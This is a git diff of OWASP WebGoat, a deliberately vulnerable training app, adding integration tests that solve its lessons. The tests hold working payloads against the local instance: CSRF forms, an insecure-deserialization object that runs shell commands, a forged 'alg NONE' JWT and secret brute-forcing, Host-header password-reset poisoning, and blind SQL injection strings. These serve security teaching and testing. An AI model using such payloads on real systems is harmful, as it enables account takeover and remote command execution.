import org.owasp.webgoat.lessons.Lesson;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.List;
@DataJpaTest
@RunWith(SpringRunner.class)
@ActiveProfiles({"test", "webgoat"})
public class UserTrackerRepositoryTest {
private class TestLesson extends NewLesson {
private class TestLesson extends Lesson {
@Override
public Category getDefaultCategory() {
return Category.AJAX_SECURITY;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 12;
}
@Override
public String getTitle() {
return "test";
@ -54,7 +46,6 @@ public class UserTrackerRepositoryTest {
@Autowired
private UserTrackerRepository userTrackerRepository;
@Test
public void saveUserTracker() {
UserTracker userTracker = new UserTracker("test");

View File

@ -3,7 +3,7 @@ package org.owasp.webgoat.users;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import org.mockito.junit.MockitoJUnitRunner;
import org.springframework.validation.BeanPropertyBindingResult;
import org.springframework.validation.Errors;

View File

@ -1,4 +1,5 @@
webgoat.user.directory=${java.io.tmpdir}
spring.datasource.url=jdbc:hsqldb:mem:test
spring.jpa.hibernate.ddl-auto=create-drop
webgoat.start.hsqldb=false
spring.flyway.locations=classpath:/db/container

View File

@ -1,27 +0,0 @@
import io.gatling.core.Predef._
import io.gatling.http.Predef._
import org.apache.commons.lang3.RandomStringUtils
import scala.concurrent.duration._
class BasicSimulation extends Simulation {
val httpConf = http
.baseURL("http://localhost:8080/WebGoat/") // Here is the root for all relative URLs
.userAgentHeader("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0")
val scn = scenario("Register and automatic login").
exec(session =>
session.setAll(("username", RandomStringUtils.randomAlphabetic(10)))
)
.exec(
http("Test")
.post("register.mvc")
.formParam("username", "${username}")
.formParam("password", "${username}")
.formParam("matchingPassword", "${username}")
.formParam("agree", "agree")
)
setUp(scn.inject(atOnceUsers(100)).protocols(httpConf))
}

View File

@ -19,17 +19,17 @@ Vagrant.configure(2) do |config|
end
config.vm.provision "shell", inline: <<-SHELL
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webgoat-server-8.0.0.M21.jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webwolf-8.0.0.M21.jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar
sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update
sudo apt-get install openjdk-8-jre -y
sudo apt-get install openjdk-11-jre -y
SHELL
config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL
java -jar webgoat-server-8.0.0.M21.jar --server.address=0.0.0.0 &
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0 &
sleep 40s
java -jar webwolf-8.0.0.M21.jar --server.address=0.0.0.0 &
java -jar webwolf-8.0.0.M25.jar --server.address=0.0.0.0 &
SHELL
end

View File

@ -0,0 +1,64 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webgoat-integration-tests</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M26</version>
</parent>
<dependencies>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-server</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-server</artifactId>
<version>${project.version}</version>
<classifier>internal</classifier>
</dependency>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webwolf</artifactId>
<version>${project.version}</version>
<classifier>internal</classifier>
</dependency>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webwolf</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>io.rest-assured</groupId>
<artifactId>rest-assured</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>${maven-surefire-plugin.version}</version>
<configuration>
<forkCount>0</forkCount>
<reuseForks>true</reuseForks>
<argLine>
--illegal-access=permit
</argLine>
</configuration>
</plugin>
</plugins>
</build>
</project>

View File

@ -0,0 +1,233 @@
package org.owasp.webgoat;
import static org.junit.Assert.assertEquals;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import org.junit.Test;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
public class CSRFTest extends IntegrationTest {
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
"</form></body></html>";
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
"</form>\n" +
"</body></html>";
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
"</form></body></html>";
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
"</form></body></html>";
private String webwolfFileDir;
@Test
public void runTests() throws IOException {
startLesson("CSRF");
webwolfFileDir = getWebWolfServerPath();
//Assignment 3
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
checkAssignment3(callTrickHtml("csrf3.html"));
//Assignment 4
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
checkAssignment4(callTrickHtml("csrf4.html"));
//Assignment 7
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
checkAssignment7(callTrickHtml("csrf7.html"));
//Assignment 8
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", getWebgoatUser()));
checkAssignment8(callTrickHtml("csrf8.html"));
login();//because old cookie got replaced and invalidated
checkResults("csrf");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
//remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),htmlName)));
}
//upload trick html
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
}
private String callTrickHtml(String htmlName) {
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/"+getWebgoatUser()+"/"+htmlName))
.then()
.extract().response().getBody().asString();
result = result.substring(8+result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\""));
return result;
}
private void checkAssignment3(String goatURL) {
String flag = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.post(goatURL)
.then()
.extract().path("flag").toString();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
}
private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
boolean result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract().path("lessonCompleted");
assertEquals(true, result);
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
String flag = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.contentType(ContentType.TEXT)
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!"+ "=\"}")
.post(goatURL)
.then()
.extract().asString();
flag = flag.substring(9+flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\""));
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
//first make sure there is an attack csrf- user
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-"+getWebgoatUser());
params.put("password","password");
//login and get the new cookie
String newCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.params(params)
.post(goatURL)
.then()
.extract().cookie("JSESSIONID");
//select the lesson
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
//click on the assignment
boolean result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(url("/csrf/login"))
.then()
.statusCode(200)
.extract().path("lessonCompleted");
//vaidate the result
assertEquals(true, result);
}
/**
* Try to register the new user. Ignore the result.
*/
public void registerCSRFUser() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-"+getWebgoatUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"));
}
}

View File

@ -0,0 +1,34 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.Test;
import org.owasp.webgoat.deserialization.SerializationHelper;
public class DeserializationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase();
@Test
public void runTests() throws IOException {
startLesson("InsecureDeserialization");
Map<String, Object> params = new HashMap<>();
params.clear();
if (OS.indexOf("win")>-1) {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(url("/WebGoat/InsecureDeserialization/task"),params,true);
checkResults("/InsecureDeserialization/");
}
}

View File

@ -0,0 +1,142 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Test;
import java.util.HashMap;
import java.util.Map;
public class GeneralLessonTest extends IntegrationTest {
@Test
public void httpBasics() {
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(url("HttpBasics/attack1"), params, true);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "4");
checkAssignment(url("HttpBasics/attack2"), params, false);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "33");
checkAssignment(url("HttpBasics/attack2"), params, true);
checkResults("/HttpBasics/");
}
@Test
public void httpProxies() {
startLesson("HttpProxies");
Assert.assertThat(RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
checkResults("/HttpProxies/");
}
@Test
public void cia() {
startLesson("CIA");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("question_0_solution", "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
params.put("question_1_solution", "Solution 1: By changing the names and emails of one or more users stored in a database.");
params.put("question_2_solution", "Solution 4: By launching a denial of service attack on the servers.");
params.put("question_3_solution", "Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(url("/WebGoat/cia/quiz"), params, true);
checkResults("/cia/");
}
@Test
public void securePasswords() {
startLesson("SecurePasswords");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords/");
startLesson("AuthBypass");
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
startLesson("HttpProxies");
Assert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
checkResults("/HttpProxies/");
}
@Test
public void chrome() {
startLesson("ChromeDevTools");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract().path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
params.clear();
params.put("number", "24");
params.put("network_num", "24");
checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
checkResults("/ChromeDevTools/");
}
@Test
public void authByPass() {
startLesson("AuthBypass");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
}
}

View File

@ -0,0 +1,282 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.BeforeClass;
import org.owasp.webwolf.WebWolf;
import org.springframework.boot.builder.SpringApplicationBuilder;
import java.io.IOException;
import java.net.Socket;
import java.util.Map;
import java.util.UUID;
import static io.restassured.RestAssured.given;
public abstract class IntegrationTest {
protected static int WG_PORT = 8080;
protected static int WW_PORT = 9090;
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
@Getter
private String webGoatCookie;
@Getter
private String webWolfCookie;
@Getter
private String webgoatUser = UUID.randomUUID().toString();
private static boolean started = false;
@BeforeClass
public static void beforeAll() {
if (WG_SSL) {
WEBGOAT_URL = WEBGOAT_URL.replace("http:", "https:");
}
if (!started) {
started = true;
if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
wgs.run();
}
if (!isAlreadyRunning(WW_PORT)) {
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
.properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
wws.run();
}
}
}
private static boolean isAlreadyRunning(int port) {
try (var ignored = new Socket("127.0.0.1", port)) {
return true;
} catch (IOException e) {
return false;
}
}
protected String url(String url) {
url = url.replaceFirst("/WebGoat/", "");
url = url.replaceFirst("/WebGoat", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return WEBGOAT_URL + url;
}
protected String webWolfUrl(String url) {
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return WEBWOLF_URL + url;
}
@Before
public void login() {
String location = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
.statusCode(302)
.extract().header("Location");
if (location.endsWith("?error")) {
webGoatCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
} else {
webGoatCookie = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
.statusCode(302)
.extract().cookie("JSESSIONID");
}
webWolfCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.post(WEBWOLF_URL + "login")
.then()
.cookie("WEBWOLFSESSION")
.statusCode(302)
.extract()
.cookie("WEBWOLFSESSION");
}
@After
public void logout() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(url("logout"))
.then()
.statusCode(200);
}
/**
* At start of a lesson. The .lesson.lesson is visited and the lesson is reset.
*
* @param lessonName
*/
public void startLesson(String lessonName) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.then()
.statusCode(200);
}
/**
* Helper method for most common type of test.
* POST with parameters.
* Checks for 200 and lessonCompleted as indicated by expectedResult
*
* @param url
* @param params
* @param expectedResult
*/
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
Assert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
/**
* Helper method for most common type of test.
* PUT with parameters.
* Checks for 200 and lessonCompleted as indicated by expectedResult
*
* @param url
* @param params
* @param expectedResult
*/
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
Assert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public void checkResults(String prefix) {
Assert.assertThat(RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
Assert.assertThat(RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
}
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
Assert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
Assert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public String getWebGoatServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/xxe/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
public String getWebWolfServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
}

View File

@ -0,0 +1,139 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
import java.util.Date;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
public class JWTLessonTest extends IntegrationTest {
@Before
public void initTest() {
}
@Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
startLesson("JWT");
resetVotes();
findPassword();
// checkResults("/JWT/");
}
private String generateToken(String key) {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key).compact();
}
private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
String accessToken = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken"))
.then()
.extract().response().asString();
String secret = getSecretToken(accessToken);
Assert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void resetVotes() throws IOException {
String accessToken = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then()
.extract().cookie("access_token");
String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
.concat(".").replace("=", "");
Assert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
}

View File

@ -0,0 +1,76 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import org.assertj.core.api.Assertions;
import org.junit.Test;
import java.util.Map;
public class PasswordResetLessonTest extends IntegrationTest {
@Test
public void solveAssignment() {
//WebGoat
startLesson("PasswordReset");
clickForgotEmailLink("tom@webgoat-cloud.org");
//WebWolf
var link = getPasswordResetLinkFromLandingPage();
//WebGoat
changePassword(link);
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
}
@Test
public void sendEmailShouldBeAvailabeInWebWolf() {
startLesson("PasswordReset");
clickForgotEmailLink(getWebgoatUser() + "@webgoat.org");
var responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
.extract().response().getBody().asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
}
private void changePassword(String link) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
private String getPasswordResetLinkFromLandingPage() {
var responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("WebWolf/requests"))
.then()
.extract().response().getBody().asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
return link;
}
private void clickForgotEmailLink(String user) {
RestAssured.given()
.when()
.header("host", "localhost:9090")
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}
}

View File

@ -0,0 +1,43 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.response.Response;
import org.assertj.core.api.Assertions;
import org.junit.Test;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
public class ProgressRaceConditionTest extends IntegrationTest {
@Test
public void runTests() throws InterruptedException {
startLesson("Challenge1");
Callable<Response> call = () ->
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/"));
ExecutorService executorService = Executors.newFixedThreadPool(20);
List<? extends Callable<Response>> flagCalls = IntStream.range(0, 20).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);
//A certain amount of parallel calls should fail as optimistic locking in DB is applied
Assertions.assertThat(responses.stream().filter(r -> {
try {
return r.get().getStatusCode() == 500;
} catch (InterruptedException | ExecutionException e) {
throw new IllegalStateException(e);
}
}).count()).isGreaterThan(8);
}
}

View File

@ -0,0 +1,49 @@
package org.owasp.webgoat;
import org.junit.Test;
import java.util.HashMap;
import java.util.Map;
public class SqlInjectionAdvancedTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
